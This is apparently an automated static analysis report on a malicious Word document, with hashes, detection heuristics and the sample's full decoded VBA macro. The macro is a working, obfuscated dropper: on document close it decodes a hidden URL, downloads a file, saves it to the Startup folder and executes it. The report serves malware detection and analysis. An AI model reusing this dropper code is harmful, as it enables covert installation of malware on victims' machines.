Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9ff452cd7125b3df…

MALICIOUS

Office (OLE)

156.5 KB Created: 2016-06-27 15:59:00 Authoring application: Microsoft Office Word First seen: 2018-06-19
MD5: 9566e81f059c9739f98d65c943cad493 SHA-1: e1dea613a90ef8ab3734ddc7ee2700d6992c2bd2 SHA-256: 9ff452cd7125b3dfe28db8439465a8a0baf9d7eecb83d37fcdd068eddd0a9666
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, along with a critical finding of VBA downloading and saving a file to disk via HTTP. The document body contains an instruction to 'enable' content, suggesting a lure. No specific URLs were extracted for the payload, leading to a slightly reduced confidence.

Heuristics 8

  • ClamAV: Doc.Downloader.00536d-6923444-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6923444-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    NUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLBNVJVCYIZLD = CreateObject("WScript.Shell").Specialfolders(7) + KLHTIXPNISNJPUMMGYMXELCKEGSMLIRPBMYCZFHOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNB
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    RWIYNVLOXCWNKLKMFCFUHZIKLHTIXPNISNJPUMMGYMXELCKEGSMLIRPBMYCZFHOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKG = STPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLB.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set RQNWVHREHFKMTEFKOMBJSCLJETXYXZSPSIONVXYUHPLDUVGTWDISZTMZLKYPXRTGTYVFDOZMIGMUCMGLWUJKZKNRM = CreateObject("Shell.Application")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5371 bytes
SHA-256: d2013fcfe4e74967932b412474f227a7aeca4192c2de37dbc221b96689e927eb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Public Function LPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZIKLHTIXPNISNJPUMMGYMXELCKEGSMLIRPBMYCZF(HOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKR)
        ILJPXFIJOZXMNDGQTOFCDCEWZEMZYHCDYLZPOFZKFBHMEEXXLPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZIKLHT = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        IXPNISNJPUMMGYMXELCKEGSMLIRPBMYCZFHOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNB = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(HOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKR)
            OTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLBNVJVCYIZLDILJPXFIJOZXMNDGQTOFCDC = InStr(ILJPXFIJOZXMNDGQTOFCDCEWZEMZYHCDYLZPOFZKFBHMEEXXLPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZIKLHT, Mid(HOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKR, i, 1))
            If OTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLBNVJVCYIZLDILJPXFIJOZXMNDGQTOFCDC > 0 Then
                EWZEMZYHCDYLZPOFZKFBHMEEXXLPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZIKLHTIXPNISNJPUM = Mid(IXPNISNJPUMMGYMXELCKEGSMLIRPBMYCZFHOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNB, OTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLBNVJVCYIZLDILJPXFIJOZXMNDGQTOFCDC, 1)
                MGYMXELCKEGSMLIRPBMYCZFHOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBG = MGYMXELCKEGSMLIRPBMYCZFHOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBG + EWZEMZYHCDYLZPOFZKFBHMEEXXLPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZIKLHTIXPNISNJPUM
            Else
                MGYMXELCKEGSMLIRPBMYCZFHOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBG = MGYMXELCKEGSMLIRPBMYCZFHOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBG + Mid(HOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKR, i, 1)
            End If
        Next
        LPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZIKLHTIXPNISNJPUMMGYMXELCKEGSMLIRPBMYCZF = MGYMXELCKEGSMLIRPBMYCZFHOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBG
    End Function

Private Sub Document_close()
Set RQNWVHREHFKMTEFKOMBJSCLJETXYXZSPSIONVXYUHPLDUVGTWDISZTMZLKYPXRTGTYVFDOZMIGMUCMGLWUJKZKNRM = CreateObject("Shell.Application")
Set STPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLB = CreateObject("microsoft.xmlhttp")
Set LJPXFIJOZXMNDGQTOFCDCEWZEMZYHCDYLZPOFZKFBHMEEXXLPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZI = CreateObject("adodb.stream")
KLHTIXPNISNJPUMMGYMXELCKEGSMLIRPBMYCZFHOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNB = LPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZIKLHTIXPNISNJPUMMGYMXELCKEGSMLIRPBMYCZF("\JQH¶JåX.ÂÛÂ")
XPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLBNVJVCYIZLDI = LPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZIKLHTIXPNISNJPUMMGYMXELCKEGSMLIRPBMYCZF("hÖÖÓ://mÀÜ9².gÔÂÀÅÁÔÒÕÕ.ÁÒm/dÒÁ0².ÂÛÂ")

NUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLBNVJVCYIZLD = CreateObject("WScript.Shell").Specialfolders(7) + KLHTIXPNISNJPUMMGYMXELCKEGSMLIRPBMYCZFHOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKGXPQBORXDNUOHUGFTKSLNB
STPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLB.Open "GET", XPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLBNVJVCYIZLDI, False
STPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLB.send
RWIYNVLOXCWNKLKMFCFUHZIKLHTIXPNISNJPUMMGYMXELCKEGSMLIRPBMYCZFHOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKG = STPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLB.responseBody
If STPCKGXPQBORXDNUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLB.Status = 200 Then
LJPXFIJOZXMNDGQTOFCDCEWZEMZYHCDYLZPOFZKFBHMEEXXLPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZI.Open
LJPXFIJOZXMNDGQTOFCDCEWZEMZYHCDYLZPOFZKFBHMEEXXLPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZI.Type = 1
LJPXFIJOZXMNDGQTOFCDCEWZEMZYHCDYLZPOFZKFBHMEEXXLPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZI.Write RWIYNVLOXCWNKLKMFCFUHZIKLHTIXPNISNJPUMMGYMXELCKEGSMLIRPBMYCZFHOYZFJHVDMWGEYOSSSUNJNDJIQSTPCKG
LJPXFIJOZXMNDGQTOFCDCEWZEMZYHCDYLZPOFZKFBHMEEXXLPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZI.SaveToFile NUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLBNVJVCYIZLD, 2
LJPXFIJOZXMNDGQTOFCDCEWZEMZYHCDYLZPOFZKFBHMEEXXLPVKTJVEKEDZJITLQTRWGGQRWIYNVLOXCWNKLKMFCFUHZI.Close
End If
RQNWVHREHFKMTEFKOMBJSCLJETXYXZSPSIONVXYUHPLDUVGTWDISZTMZLKYPXRTGTYVFDOZMIGMUCMGLWUJKZKNRM.Open (NUOHUGFTKSLNBOTQZXJUHDBHPWHBGRPEFUFIMHWBBBDORVKRQYBCXKROGXYJWYGEVDPPDHNCLBNVJVCYIZLD)


End Sub

Attribute VB_Name = "NewMacros"
Sub asw()
'
' asw Macro
'
'

End Sub

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